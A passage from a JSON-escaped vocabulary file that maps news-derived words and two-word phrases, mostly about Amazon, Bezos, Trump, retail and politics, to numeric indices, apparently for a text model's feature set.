108158,\n  \"ex fixer\": 108159,\n  \"experience knowledge\": 108160,\n  \"hire americans\": 108161,\n  \"bolsonaro number\": 108162,\n  \"circulated images\": 108163,\n  \"traveler\": 108164,\n  \"approval\": 108165,\n  \"fake version\": 108166,\n  \"darby real\": 108167,\n  \"action trump\": 108168,\n  \"arlington national\": 108169,\n  \"utterly different\": 108170,\n  \"amazon publicly\": 108171,\n  \"500 votes\": 108172,\n  \"individual contributions\": 108173,\n  \"ideals celebrated\": 108174,\n  \"different topics\": 108175,\n  \"crimes committed\": 108176,\n  \"short lived\": 108177,\n  \"increased sales\": 108178,\n  \"kosovar\": 108179,\n  \"porter\": 108180,\n  \"purple felt\": 108181,\n  \"philanthropy bezos\": 108182,\n  \"decades residents\": 108183,\n  \"costumes\": 108184,\n  \"iphone family\": 108185,\n  \"bumpy\": 108186,\n  \"announce major\": 108187,\n  \"double standard\": 108188,\n  \"fiscally\": 108189,\n  \"worse inaction\": 108190,\n  \"comment david\": 108191,\n  \"apprehension trump\": 108192,\n  \"stores rost\": 108193,\n  \"indicate dramatic\": 108194,\n  \"david andelman\": 108195,\n  \"probably unfamiliar\": 108196,\n  \"weighs 243\": 108197,\n  \"evening readers\": 108198,\n  \"incredibly profitable\": 108199,\n  \"earth awakening\": 108200,\n  \"roland\": 108201,\n  \"chancellor angela\": 108202,\n  \"create hundreds\": 108203,\n  \"appropriate stop\": 108204,\n  \"rare statement\": 108205,\n  \"cronyism recipient\": 108206,\n  \"reyes latino\": 108207,\n  \"ideology death\": 108208,\n  \"political lines\": 108209,\n  \"community ceo\": 108210,\n  \"won nasa\": 108211,\n  \"llc federal\": 108212,\n  \"candidate pecker\": 108213,\n  \"cut funding\": 108214,\n  \"specific request\": 108215,\n  \"inc_staid inc_serid\": 108216,\n  \"afternoon rain\": 108217,\n  \"crisis democrat\": 108218,\n  \"measure competition\": 108219,\n  \"romper price\": 108220,\n  \"59th annual\": 108221,\n  \"glossy\": 108222,\n  \"narrow defeat\": 108223,\n  \"took motion\": 108224,\n  \"fun new\": 108225,\n  \"famous movie\": 108226,\n  \"maga americafirst\": 108227,\n  \"court order\": 108228,\n  \"deal appeared\": 108229,\n  \"west snl\": 108230,\n  \"accepting\": 108231,\n  \"fiscal quarter\": 108232,\n  \"including creating\": 108233,\n  \"conference calls\": 108234,\n  \"gonna hire\": 108235,\n  \"retailers signed\": 108236,\n  \"bumper\": 108237,\n  \"press national\": 108238,\n  \"key sources\": 108239,\n  \"driven growth\": 108240,\n  \"420 million\": 108241,\n  \"sustained\": 108242,\n  \"queen elizabeth\": 108243,\n  \"transnational crime\": 108244,\n  \"hw\": 108245,\n  \"administration unproven\": 108246,\n  \"burned trees\": 108247,\n  \"election left\": 108248,\n  \"climbed\": 108249,\n  \"espinal pass\": 108250,\n  \"males novelty\": 108251,\n  \"month deadly\": 108252,\n  \"index dropped\": 108253,\n  \"yay\": 108254,\n  \"code words\": 108255,\n  \"anonymous turkish\": 108256,\n  \"technology today\": 108257,\n  \"faux merchandise\": 108258,\n  \"service pension\": 108259,\n  \"dance lauren\": 108260,\n  \"rejected ibm\": 108261,\n  \"missing link\": 108262,\n  \"revolution nasa\": 108263,\n  \"betway\": 108264,\n  \"nextgov dem\": 108265,\n  \"backcountry\": 108266,\n  \"story donovan\": 108267,\n  \"asserted trump\": 108268,\n  \"pecker trump\": 108269,\n  \"sharply worded\": 108270,\n  \"setting privacy\": 108271,\n  \"enjoys playing\": 108272,\n  \"mccabe interview\": 108273,\n  \"amsterdam\": 108274,\n  \"criticism new\": 108275,\n  \"data image\": 108276,\n  \"608m\": 108277,\n  \"histories\": 108278,\n  \"save life\": 108279,\n  \"software\": 108280,\n  \"noted lower\": 108281,\n  \"itunes stitcher\": 108282,\n  \"entire sector\": 108283,\n  \"2139393959\": 108284,\n  \"waited\": 108285,\n  \"teens black\": 108286,\n  \"high ethical\": 108287,\n  \"play profound\": 108288,\n  \"politicians\": 108289,\n  \"bezos camp\": 108290,\n  \"evacuate trump\": 108291,\n  \"firewalled crosstalk\": 108292,\n  \"heated competition\": 108293,\n  \"backgrounds\": 108294,\n  \"queen europe\": 108295,\n  \"wolf 1pm\": 108296,\n  \"marketwatch investors\": 108297,\n  \"national sheriffs\": 108298,\n  \"sheer ability\": 108299,\n  \"appeal\": 108300,\n  \"continue nevada\": 108301,\n  \"builds software\": 108302,\n  \"american politics\": 108303,\n  \"cycle analyst\": 108304,\n  \"driver retrieve\": 108305,\n  \"slashing korean\": 108306,\n  \"economic issues\": 108307,\n  \"chrome browser\": 108308,\n  \"2bvwxqnatl bernie\": 108309,\n  \"netflix fortnite\": 108310,\n  \"samar chair\": 108311,\n  \"rough year\": 108312,\n  \"antitrust commercial\": 108313,\n  \"expectations bit\": 108314,\n  \"smartphone apps\": 108315,\n  \"seen maxine\": 108316,\n  \"2015 failing\": 108317,\n  \"warehouse says\": 108318,\n  \"previously saw\": 108319,\n  \"business owning\": 108320,\n  \"hogg admits\": 108321,\n  \"ct\": 108322,\n  \"magazine madison\": 108323,\n  \"transport buses\": 108324,\n  \"security officials\": 108325,\n  \"infants separated\": 108326,\n  \"evaluation kearney\": 108327,\n  \"doubt sees\": 108328,\n  \"homeless individual\": 108329,\n  \"forecasts demand\": 108330,\n  \"timed quite\": 108331,\n  \"compromising information\": 108332,\n  \"trump interference\": 108333,\n  \"mountaintops\": 108334,\n  \"000 raised\": 108335,\n  \"books barack\": 108336,\n  \"payment commerce\": 108337,\n  \"insatiable ambition\": 108338,\n  \"oakley friend\": 108339,\n  \"tractor\": 108340,\n  \"promotion culture\": 108341,\n  \"customers hold\": 108342,\n  \"strategies routinely\": 108343,\n  \"situation depends\": 108344,\n  \"wildly inflated\": 108345,\n  \"beauty slow\": 108346,\n  \"2020 disney\": 108347,\n  \"level tech\": 108348,\n  \"achieving 100\": 108349,\n  \"instructed michael\": 108350,\n  \"communist manifesto\": 108351,\n  \"contributions image\": 108352,\n  \"netflix revealed\": 108353,\n  \"gabbana brexit\": 108354,\n  \"converting buildings\": 108355,\n  \"huge volume\": 108356,\n  \"player 507\": 108357,\n  \"scandal alongside\": 108358,\n  \"2019 pretty\": 108359,\n  \"restaurants including\": 108360,\n  \"good reporting\": 108361,\n  \"mike cidoni\": 108362,\n  \"signed itlast\": 108363,\n  \"bezos dispute\": 108364,\n  \"websites according\": 108365,\n  \"concerns bookbinder\": 108366,\n  \"entries\": 108367,\n  \"google design\": 108368,\n  \"just figure\": 108369,\n  \"say publicly\": 108370,\n  \"pet price\": 108371,\n  \"paperbacks\": 108372,\n  \"anymore brian\": 108373,\n  \"gizmodo amazon\": 108374,\n  \"founder stefano\": 108375,\n  \"federal contracts\": 108376,\n  \"offer faster\": 108377,\n  \"post staffers\": 108378,\n  \"complaints amounted\": 108379,\n  \"glowingly time\": 108380,\n  \"pour resources\": 108381,\n  \"year means\": 108382,\n  \"stores bizarrely\": 108383,\n  \"successful delivery\": 108384,\n  \"fancy prep\": 108385,\n  \"adopted just\": 108386,\n  \"services la\": 108387,\n  \"tall according\": 108388,\n  \"old rumors\": 108389,\n  \"legal policy\": 108390,\n  \"purdue acted\": 108391,\n  \"economy congressional\": 108392,\n  \"strategy tech\": 108393,\n  \"fearnside\": 108394,\n  \"main provider\": 108395,\n  \"body represents\": 108396,\n  \"graham says\": 108397,\n  \"reportedly making\": 108398,\n  \"fairy constantly\": 108399,\n  \"federal post\": 108400,\n  \"open space\": 108401,\n  \"letter seemingly\": 108402,\n  \"action note\": 108403,\n  \"cerrado providing\": 108404,\n  \"bright spot\": 108405,\n  \"v4 a4ee\": 108406,\n  \"cnn explains\": 108407,\n  \"southland\": 108408,\n  \"labor department\": 108409,\n  \"shen\": 108410,\n  \"raining outside\": 108411,\n  \"trading giant\": 108412,\n  \"technologies weboost\": 108413,\n  \"gary condit\": 108414,\n  \"oil executives\": 108415,\n  \"source win\": 108416,\n  \"script src\": 108417,\n  \"256\": 108418,\n  \"customer code\": 108419,\n  \"mckinley\": 108420,\n  \"nupro small\": 108421,\n  \"vlad\": 108422,\n  \"nearly 158\": 108423,\n  \"witherspoon\": 108424,\n  \"appreciate gasol\": 108425,\n  \"expansion network\": 108426,\n  \"560 words\": 108427,\n  \"drone test\": 108428,\n  \"comment mark\": 108429,\n  \"group atsg\": 108430,\n  \"stories grace\": 108431,\n  \"ala\": 108432,\n  \"just public\": 108433,\n  \"egg website\": 108434,\n  \"usps thought\": 108435,\n  \"meddling russian\": 108436,\n  \"normal request\": 108437,\n  \"apparent fear\": 108438,\n  \"diagraming\": 108439,\n  \"truthers\": 108440,\n  \"increasingly uneasy\": 108441,\n  \"63b\": 108442,\n  \"minute press\": 108443,\n  \"unique threat\": 108444,\n  \"passed incentive\": 108445,\n  \"inquiry leads\": 108446,\n  \"textile waste\": 108447,\n  \"uber insider\": 108448,\n  \"free just\": 108449,\n  \"300x520 getty_173218731_200015422000928060_388160\": 108450,\n  \"says crc\": 108451,\n  \"investor apparently\": 108452,\n  \"news outlet\": 108453,\n  \"retail offerings\": 108454,\n  \"trump starring\": 108455,\n  \"229 acquisitions\": 108456,\n  \"midway\": 108457,\n  \"compare anonymous\": 108458,\n  \"dc disclosures\": 108459,\n  \"chord\": 108460,\n  \"afford forklift\": 108461,\n  \"endless\": 108462,\n  \"leahy\": 108463,\n  \"beer drinkers\": 108464,\n  \"financial drag\": 108465,\n  \"ate octopus\": 108466,\n  \"regime accountable\": 108467,\n  \"ap elon\": 108468,\n  \"million exemption\": 108469,\n  \"swamp threatens\": 108470,\n  \"peccadilloes\": 108471,\n  \"close working\": 108472,\n  \"throughthis\": 108473,\n  \"number does\": 108474,\n  \"ja oa\": 108475,\n  \"receptionist anna\": 108476,\n  \"buddy cop\": 108477,\n  \"issues surrounding\": 108478,\n  \"nickriccardi\": 108479,\n  \"ceo fred\": 108480,\n  \"photos bezos\": 108481,\n  \"handout photographer\": 108482,\n  \"china jolts\": 108483,\n  \"rated false\": 108484,\n  \"injuries new\": 108485,\n  \"atlas\": 108486,\n  \"david bates\": 108487,\n  \"big trade\": 108488,\n  \"help wrangle\": 108489,\n  \"valuation\": 108490,\n  \"small fine\": 108491,\n  \"local bids\": 108492,\n  \"level rise\": 108493,\n  \"cut favoring\": 108494,\n  \"genuinely want\": 108495,\n  \"edition according\": 108496,\n  \"sharing partnership\": 108497,\n  \"pearl\": 108498,\n  \"complain\": 108499,\n  \"2030 fully\": 108500,\n  \"law meaning\": 108501,\n  \"readily available\": 108502,\n  \"administration unfairly\": 108503,\n  \"indigenous people\": 108504,\n  \"summing\": 108505,\n  \"tweeted game\": 108506,\n  \"trump lives\": 108507,\n  \"forte says\": 108508,\n  \"onset routine\": 108509,\n  \"changed world\": 108510,\n  \"morning patty\": 108511,\n  \"euro gates\": 108512,\n  \"lou\": 108513,\n  \"amazon kudlow\": 108514,\n  \"comment severe\": 108515,\n  \"arrival ceremony\": 108516,\n  \"mon\": 108517,\n  \"juicy story\": 108518,\n  \"deforestation stopped\": 108519,\n  \"street deregulation\": 108520,\n  \"style political\": 108521,\n  \"615 level\": 108522,\n  \"hbo cuts\": 108523,\n  \"delivery mistake\": 108524,\n  \"outsiders\": 108525,\n  \"largest retailers\": 108526,\n  \"zuckerberg spent\": 108527,\n  \"acted amid\": 108528,\n  \"emails point\": 108529,\n  \"1tn 771\": 108530,\n  \"saudi prince\": 108531,\n  \"index adding\": 108532,\n  \"tolled\": 108533,\n  \"struggling washington\": 108534,\n  \"company business\": 108535,\n  \"gram\": 108536,\n  \"hogan desk\": 108537,\n  \"prices according\": 108538,\n  \"right roots\": 108539,\n  \"fishing boat\": 108540,\n  \"eu negotiators\": 108541,\n  \"retail iconimageurl\": 108542,\n  \"icann organisation\": 108543,\n  \"vestager did\": 108544,\n  \"indian caste\": 108545,\n  \"driving hey\": 108546,\n  \"amazon discount\": 108547,\n  \"consumer tastes\": 108548,\n  \"comcast ventures\": 108549,\n  \"industry coalition\": 108550,\n  \"delisted google\": 108551,\n  \"president position\": 108552,\n  \"russian bank\": 108553,\n  \"theorize\": 108554,\n  \"industries cope\": 108555,\n  \"real\": 108556,\n  \"product marketing\": 108557,\n  \"nation toughest\": 108558,\n  \"taken quite\": 108559,\n  \"rotten tomatoes\": 108560,\n  \"amazon encourage\": 108561,\n  \"saudi journalist\": 108562,\n  \"cuar\\u00f3n memory\": 108563,\n  \"leader kevin\": 108564,\n  \"grow trump\": 108565,\n  \"antitrust considerations\": 108566,\n  \"film distribution\": 108567,\n  \"major pharmacy\": 108568,\n  \"monopoly hammer\": 108569,\n  \"systemic liberal\": 108570,\n  \"netflix dark\": 108571,\n  \"near 400\": 108572,\n  \"ago certain\": 108573,\n  \"white floral\": 108574,\n  \"vanilla\": 108575,\n  \"latest fiscal\": 108576,\n  \"people protesting\": 108577,\n  \"aleksej\": 108578,\n  \"serrano\": 108579,\n  \"becker did\": 108580,\n  \"industries including\": 108581,\n  \"key figures\": 108582,\n  \"adores\": 108583,\n  \"isdocumentvisible\": 108584,\n  \"freshman member\": 108585,\n  \"standing match\": 108586,\n  \"letter congresswoman\": 108587,\n  \"mind people\": 108588,\n  \"spheres opening\": 108589,\n  \"amazon theirs\": 108590,\n  \"reports indicate\": 108591,\n  \"committees energy\": 108592,\n  \"delivery models\": 108593,\n  \"whetlor\": 108594,\n  \"ecosystem devitt\": 108595,\n  \"counterfeits navarro\": 108596,\n  \"politician svitlana\": 108597,\n  \"gdp\": 108598,\n  \"amazon magnate\": 108599,\n  \"hospital\": 108600,\n  \"inaccessible healthcare\": 108601,\n  \"riley listens\": 108602,\n  \"interview ap\": 108603,\n  \"running away\": 108604,\n  \"modest fee\": 108605,\n  \"yesterday rep\": 108606,\n  \"7d change\": 108607,\n  \"minds\": 108608,\n  \"onesies\": 108609,\n  \"acting properly\": 108610,\n  \"includes recorded\": 108611,\n  \"inverted yield\": 108612,\n  \"emails detailing\": 108613,\n  \"higher conor\": 108614,\n  \"shad\": 108615,\n  \"specific policy\": 108616,\n  \"trump bezos\": 108617,\n  \"relatively unscathed\": 108618,\n  \"manager douglas\": 108619,\n  \"warren mass\": 108620,\n  \"ban conservatives\": 108621,\n  \"bushy sock\": 108622,\n  \"public perceptions\": 108623,\n  \"facebookand\": 108624,\n  \"facebook helps\": 108625,\n  \"darla shine\": 108626,\n  \"example republican\": 108627,\n  \"285 960\": 108628,\n  \"tool political\": 108629,\n  \"khakis\": 108630,\n  \"payer government\": 108631,\n  \"added fast\": 108632,\n  \"hogan called\": 108633,\n  \"cans constant\": 108634,\n  \"license\": 108635,\n  \"powerful hollywood\": 108636,\n  \"legacy marc\": 108637,\n  \"grim fiscal\": 108638,\n  \"amazon profitability\": 108639,\n  \"toys electronics\": 108640,\n  \"close magnitude\": 108641,\n  \"deliver answers\": 108642,\n  \"republicans nyt\": 108643,\n  \"worth million\": 108644,\n  \"ebony\": 108645,\n  \"sending\": 108646,\n  \"brightly\": 108647,\n  \"election 2018\": 108648,\n  \"polizzotti\": 108649,\n  \"twisting\": 108650,\n  \"tips drop\": 108651,\n  \"obtained sexually\": 108652,\n  \"sportswear colm\": 108653,\n  \"repatriated overseas\": 108654,\n  \"tax exemptions\": 108655,\n  \"far updated\": 108656,\n  \"aaron francisco\": 108657,\n  \"company commitment\": 108658,\n  \"customers enhancing\": 108659,\n  \"racks\": 108660,\n  \"mish\": 108661,\n  \"make horribly\": 108662,\n  \"elections democrats\": 108663,\n  \"jobs grove\": 108664,\n  \"wholesale orders\": 108665,\n  \"salesman knew\": 108666,\n  \"computing\": 108667,\n  \"alias availabe\": 108668,\n  \"fin advisory\": 108669,\n  \"called trumpnation\": 108670,\n  \"understand tariffs\": 108671,\n  \"occ\": 108672,\n  \"weeks ago\": 108673,\n  \"prime john\": 108674,\n  \"ethnic changes\": 108675,\n  \"voters personal\": 108676,\n  \"sequel dear\": 108677,\n  \"chariman\": 108678,\n  \"target perceived\": 108679,\n  \"kristen miller\": 108680,\n  \"lures\": 108681,\n  \"divorcing great\": 108682,\n  \"bluefin\": 108683,\n  \"lewis tropical\": 108684,\n  \"middle kingdom\": 108685,\n  \"soft watch\": 108686,\n  \"journalism rock\": 108687,\n  \"conference room\": 108688,\n  \"house does\": 108689,\n  \"intercept glenn\": 108690,\n  \"joey gibson\": 108691,\n  \"group leader\": 108692,\n  \"things fueling\": 108693,\n  \"news tonight\": 108694,\n  \"elite daily\": 108695,\n  \"matter lot\": 108696,\n  \"kqed california\": 108697,\n  \"interview ahead\": 108698,\n  \"white flint\": 108699,\n  \"called message\": 108700,\n  \"oecd estimated\": 108701,\n  \"liberty justice\": 108702,\n  \"recommended products\": 108703,\n  \"shed hiv\": 108704,\n  \"suddenly dies\": 108705,\n  \"team email\": 108706,\n  \"week shoppers\": 108707,\n  \"sanders proposed\": 108708,\n  \"morgan health\": 108709,\n  \"tom barrack\": 108710,\n  \"lubomirski\": 108711,\n  \"numbers gm\": 108712,\n  \"expensive stock\": 108713,\n  \"joan jmac8560\": 108714,\n  \"news charlie\": 108715,\n  \"2018 schlage\": 108716,\n  \"trump asserting\": 108717,\n  \"economic advantage\": 108718,\n  \"tyranny warrant\": 108719,\n  \"airbnb reddit\": 108720,\n  \"gout\": 108721,\n  \"projects process\": 108722,\n  \"coming quarters\": 108723,\n  \"protected content\": 108724,\n  \"governor evelyn\": 108725,\n  \"infidelities\": 108726,\n  \"doggo doesn\": 108727,\n  \"economist thanks\": 108728,\n  \"cornacchioni president\": 108729,\n  \"correspondents facebook\": 108730,\n  \"enquirer paying\": 108731,\n  \"arcane\": 108732,\n  \"story target\": 108733,\n  \"investors appeared\": 108734,\n  \"tweets shows\": 108735,\n  \"city griffeth\": 108736,\n  \"price hike\": 108737,\n  \"wiretaps\": 108738,\n  \"2016 critics\": 108739,\n  \"administration especially\": 108740,\n  \"eu watchdog\": 108741,\n  \"appraisals\": 108742,\n  \"switched gears\": 108743,\n  \"india american\": 108744,\n  \"outperform outperform\": 108745,\n  \"overwhelming numbers\": 108746,\n  \"bankruptcy don\": 108747,\n  \"deep baritone\": 108748,\n  \"faragher\": 108749,\n  \"trump hear\": 108750,\n  \"craft goods\": 108751,\n  \"unfounded\": 108752,\n  \"reported net\": 108753,\n  \"retail section\": 108754,\n  \"nobel\": 108755,\n  \"certainly signals\": 108756,\n  \"ei direct\": 108757,\n  \"gun sales\": 108758,\n  \"information actually\": 108759,\n  \"wal mart\": 108760,\n  \"comment toyota\": 108761,\n  \"rates bank\": 108762,\n  \"suspended sgf\": 108763,\n  \"hike vigorously\": 108764,\n  \"congress lacks\": 108765,\n  \"accounts identifying\": 108766,\n  \"videos\": 108767,\n  \"voters thought\": 108768,\n  \"workaround\": 108769,\n  \"130 recipes\": 108770,\n  \"football games\": 108771,\n  \"engel turns\": 108772,\n  \"a4ee m0\": 108773,\n  \"40am st\": 108774,\n  \"criminal sex\": 108775,\n  \"compensated\": 108776,\n  \"routinely attacks\": 108777,\n  \"world sending\": 108778,\n  \"hq2 landing\": 108779,\n  \"lobbying effort\": 108780,\n  \"niagara\": 108781,\n  \"animal parts\": 108782,\n  \"billion unlike\": 108783,\n  \"navy\": 108784,\n  \"weboost\": 108785,\n  \"costs 2018\": 108786,\n  \"industry shares\": 108787,\n  \"leaf logo\": 108788,\n  \"slightly rich\": 108789,\n  \"faram navy\": 108790,\n  \"released earlier\": 108791,\n  \"balderson\": 108792,\n  \"sounds reasonable\": 108793,\n  \"brief supporting\": 108794,\n  \"customers house\": 108795,\n  \"article navarro\": 108796,\n  \"curtain\": 108797,\n  \"housing devel\": 108798,\n  \"received wide\": 108799,\n  \"internet existed\": 108800,\n  \"fielded\": 108801,\n  \"tech stocks\": 108802,\n  \"multiple sclerosis\": 108803,\n  \"outcome reminds\": 108804,\n  \"fbi enemies\": 108805,\n  \"prospects thanks\": 108806,\n  \"2018 available\": 108807,\n  \"investigators suspicions\": 108808,\n  \"publicly defended\": 108809,\n  \"registered trademark\": 108810,\n  \"visual\": 108811,\n  \"mari mypov\": 108812,\n  \"incur restructuring\": 108813,\n  \"year coming\": 108814,\n  \"proceedings nadler\": 108815,\n  \"editor clifford\": 108816,\n  \"marginal\": 108817,\n  \"trick\": 108818,\n  \"important values\": 108819,\n  \"current thinking\": 108820,\n  \"federal regulations\": 108821,\n  \"excess gold\": 108822,\n  \"silver supporting\": 108823,\n  \"report defied\": 108824,\n  \"hanukkah\": 108825,\n  \"companies rates\": 108826,\n  \"talks elizabeth\": 108827,\n  \"actively working\": 108828,\n  \"world says\": 108829,\n  \"provider costar\": 108830,\n  \"previously planned\": 108831,\n  \"mlyn\": 108832,\n  \"emmanuel\": 108833,\n  \"led pepsi\": 108834,\n  \"activists outside\": 108835,\n  \"officials debunk\": 108836,\n  \"mccoll jr\": 108837,\n  \"bookrollouts\": 108838,\n  \"finance selecting\": 108839,\n  \"hard work\": 108840,\n  \"mirror earlier\": 108841,\n  \"bombshell\": 108842,\n  \"snoqualmiepass\": 108843,\n  \"yes peek\": 108844,\n  \"trump claimed\": 108845,\n  \"force reviewing\": 108846,\n  \"amazon testifies\": 108847,\n  \"law late\": 108848,\n  \"known\": 108849,\n  \"privileged position\": 108850,\n  \"coniam 2018\": 108851,\n  \"entails\": 108852,\n  \"aris\": 108853,\n  \"373\": 108854,\n  \"wobble reuters\": 108855,\n  \"anathema\": 108856,\n  \"unsettled\": 108857,\n  \"large portion\": 108858,\n  \"road arnade\": 108859,\n  \"carjacker wanted\": 108860,\n  \"approval rating\": 108861,\n  \"hiring staffers\": 108862,\n  \"newsom eric\": 108863,\n  \"121 million\": 108864,\n  \"walmart doesn\": 108865,\n  \"boost shopper\": 108866,\n  \"ej\": 108867,\n  \"hawked\": 108868,\n  \"term elections\": 108869,\n  \"thomas grech\": 108870,\n  \"houses large\": 108871,\n  \"futures fall\": 108872,\n  \"visible accomplishing\": 108873,\n  \"government pay\": 108874,\n  \"big dog\": 108875,\n  \"unveils revolutionary\": 108876,\n  \"drafts\": 108877,\n  \"longer hold\": 108878,\n  \"typically begins\": 108879,\n  \"lobbyist sydney\": 108880,\n  \"broadcast verizon\": 108881,\n  \"mayor apologizes\": 108882,\n  \"h\\u00e4ns\": 108883,\n  \"vibration warned\": 108884,\n  \"television political\": 108885,\n  \"growing packages\": 108886,\n  \"records theft\": 108887,\n  \"key presidential\": 108888,\n  \"alter\": 108889,\n  \"stock proshare\": 108890,\n  \"dutifully report\": 108891,\n  \"179 900\": 108892,\n  \"business launched\": 108893,\n  \"133 billion\": 108894,\n  \"dubious claim\": 108895,\n  \"mwpvl\": 108896,\n  \"kushner private\": 108897,\n  \"unerring\": 108898,\n  \"edge giant\": 108899,\n  \"neal cbs\": 108900,\n  \"contained\": 108901,\n  \"govenors\": 108902,\n  \"turning point\": 108903,\n  \"quid pro\": 108904,\n  \"crisply handled\": 108905,\n  \"brett theodos\": 108906,\n  \"enlarge chris\": 108907,\n  \"direct authority\": 108908,\n  \"416\": 108909,\n  \"indexes suffered\": 108910,\n  \"customer permission\": 108911,\n  \"money investors\": 108912,\n  \"letting companies\": 108913,\n  \"campaign thousand\": 108914,\n  \"cocktails look\": 108915,\n  \"economy making\": 108916,\n  \"teaneck\": 108917,\n  \"columns\": 108918,\n  \"abroad especially\": 108919,\n  \"liquor\": 108920,\n  \"military spouses\": 108921,\n  \"helping refugees\": 108922,\n  \"additionally stock\": 108923,\n  \"2017 email\": 108924,\n  \"memoir birds\": 108925,\n  \"budget governor\": 108926,\n  \"men practically\": 108927,\n  \"mid century\": 108928,\n  \"head megan\": 108929,\n  \"sachs nyse\": 108930,\n  \"pander\": 108931,\n  \"human elements\": 108932,\n  \"good strength\": 108933,\n  \"batwoman\": 108934,\n  \"expected twitter\": 108935,\n  \"traditional banking\": 108936,\n  \"multiple unsubstantiated\": 108937,\n  \"anticipated releases\": 108938,\n  \"best investigations\": 108939,\n  \"supposed justification\": 108940,\n  \"kuns2yxmsg\": 108941,\n  \"taking\": 108942,\n  \"spectacle surrounding\": 108943,\n  \"different way\": 108944,\n  \"burtless\": 108945,\n  \"constant bombardment\": 108946,\n  \"werneck\": 108947,\n  \"attracting\": 108948,\n  \"seeing steep\": 108949,\n  \"anachronistic costing\": 108950,\n  \"received snap\": 108951,\n  \"geo\": 108952,\n  \"papers investigation\": 108953,\n  \"1919\": 108954,\n  \"line appears\": 108955,\n  \"wrote referring\": 108956,\n  \"ridiculous twitter\": 108957,\n  \"contorted\": 108958,\n  \"adam minter\": 108959,\n  \"evangelicals reputation\": 108960,\n  \"bolton visited\": 108961,\n  \"highlighted alibaba\": 108962,\n  \"posted statement\": 108963,\n  \"david partenheimer\": 108964,\n  \"economy policy\": 108965,\n  \"storage 4gb\": 108966,\n  \"stupid things\": 108967,\n  \"quiet plaudits\": 108968,\n  \"adverse action\": 108969,\n  \"doesn owner\": 108970,\n  \"y19g327dpi booboo\": 108971,\n  \"won layoff\": 108972,\n  \"press yesterday\": 108973,\n  \"volz\": 108974,\n  \"2020 governor\": 108975,\n  \"machine gun\": 108976,\n  \"globalization small\": 108977,\n  \"tech citizen\": 108978,\n  \"maval\": 108979,\n  \"massive logistics\": 108980,\n  \"1977\": 108981,\n  \"trump history\": 108982,\n  \"delaware montana\": 108983,\n  \"term advantage\": 108984,\n  \"publicly suggested\": 108985,\n  \"party agenda\": 108986,\n  \"point holgate\": 108987,\n  \"times german\": 108988,\n  \"education committee\": 108989,\n  \"convene\": 108990,\n  \"trump words\": 108991,\n  \"software firm\": 108992,\n  \"chinese communist\": 108993,\n  \"evans\": 108994,\n  \"matthew\": 108995,\n  \"analyst ken\": 108996,\n  \"boil\": 108997,\n  \"attack amazon\": 108998,\n  \"difficult euro\": 108999,\n  \"uv\": 109000,\n  \"news bob\": 109001,\n  \"parliament agrees\": 109002,\n  \"rukh khan\": 109003,\n  \"falling poll\": 109004,\n  \"based events\": 109005,\n  \"follower larger\": 109006,\n  \"black vote\": 109007,\n  \"setbacks haven\": 109008,\n  \"vast right\": 109009,\n  \"average worker\": 109010,\n  \"thumb large\": 109011,\n  \"strike spokesman\": 109012,\n  \"europe including\": 109013,\n  \"today shares\": 109014,\n  \"mario draghi\": 109015,\n  \"longer ignore\": 109016,\n  \"tech products\": 109017,\n  \"merchant\": 109018,\n  \"estimates makes\": 109019,\n  \"michele walkau\": 109020,\n  \"company queens\": 109021,\n  \"earnings calls\": 109022,\n  \"program launched\": 109023,\n  \"distribution field\": 109024,\n  \"total ban\": 109025,\n  \"transnational companies\": 109026,\n  \"firecracker\": 109027,\n  \"hotman paris\": 109028,\n  \"trump frustrations\": 109029,\n  \"wapo meeting\": 109030,\n  \"results released\": 109031,\n  \"offers don\": 109032,\n  \"believers\": 109033,\n  \"data bond\": 109034,\n  \"packages carlos\": 109035,\n  \"standard shirtless\": 109036,\n  \"overturn roe\": 109037,\n  \"studied reticence\": 109038,\n  \"don offer\": 109039,\n  \"transnational\": 109040,\n  \"naps immediately\": 109041,\n  \"personally tweeted\": 109042,\n  \"shifted strategies\": 109043,\n  \"immediate access\": 109044,\n  \"people jeffbozo\": 109045,\n  \"kent reported\": 109046,\n  \"says michael\": 109047,\n  \"time barring\": 109048,\n  \"renae merle\": 109049,\n  \"buying supplier\": 109050,\n  \"reported hq2\": 109051,\n  \"livable wage\": 109052,\n  \"forest whitaker\": 109053,\n  \"new cars\": 109054,\n  \"asked brightly\": 109055,\n  \"case just\": 109056,\n  \"beltway ives\": 109057,\n  \"direct aim\": 109058,\n  \"sputnik 14th\": 109059,\n  \"think ice\": 109060,\n  \"solely aimed\": 109061,\n  \"johnson nyse\": 109062,\n  \"nbfcs accessing\": 109063,\n  \"frank\": 109064,\n  \"people watched\": 109065,\n  \"mailchimp cofounders\": 109066,\n  \"emotions\": 109067,\n  \"hurts mom\": 109068,\n  \"business relationships\": 109069,\n  \"despite rough\": 109070,\n  \"post erica\": 109071,\n  \"pursuing massive\": 109072,\n  \"gates outside\": 109073,\n  \"fake human\": 109074,\n  \"claims court\": 109075,\n  \"obviously generated\": 109076,\n  \"dents\": 109077,\n  \"barletta\": 109078,\n  \"billionaire schultz\": 109079,\n  \"15k\": 109080,\n  \"company hasn\": 109081,\n  \"roy arundhati\": 109082,\n  \"shies\": 109083,\n  \"2018 thanks\": 109084,\n  \"fraud pecker\": 109085,\n  \"inflation threat\": 109086,\n  \"tj reddick\": 109087,\n  \"training discounts\": 109088,\n  \"clearance products\": 109089,\n  \"anti religious\": 109090,\n  \"sienna college\": 109091,\n  \"point share\": 109092,\n  \"steep taxes\": 109093,\n  \"receive coverage\": 109094,\n  \"abrasive\": 109095,\n  \"investing\": 109096,\n  \"nturner7 bloomberg\": 109097,\n  \"tun\": 109098,\n  \"photo monica\": 109099,\n  \"shifted\": 109100,\n  \"basement warehouse\": 109101,\n  \"unfortunately\": 109102,\n  \"cost spikes\": 109103,\n  \"just pupil\": 109104,\n  \"emails published\": 109105,\n  \"brad smith\": 109106,\n  \"service governors\": 109107,\n  \"declining market\": 109108,\n  \"trade touching\": 109109,\n  \"robinson meyer\": 109110,\n  \"compares trump\": 109111,\n  \"natch\": 109112,\n  \"bond movies\": 109113,\n  \"home furnishings\": 109114,\n  \"gal\": 109115,\n  \"management predicted\": 109116,\n  \"dawn\": 109117,\n  \"intimate insight\": 109118,\n  \"henry cuellar\": 109119,\n  \"largest business\": 109120,\n  \"fairness trump\": 109121,\n  \"thinks\": 109122,\n  \"increasingly shifting\": 109123,\n  \"2018 time\": 109124,\n  \"hartman\": 109125,\n  \"stop disparaging\": 109126,\n  \"federal investigators\": 109127,\n  \"landless workers\": 109128,\n  \"significantly increased\": 109129,\n  \"pallets\": 109130,\n  \"vendors cisco\": 109131,\n  \"drivers drop\": 109132,\n  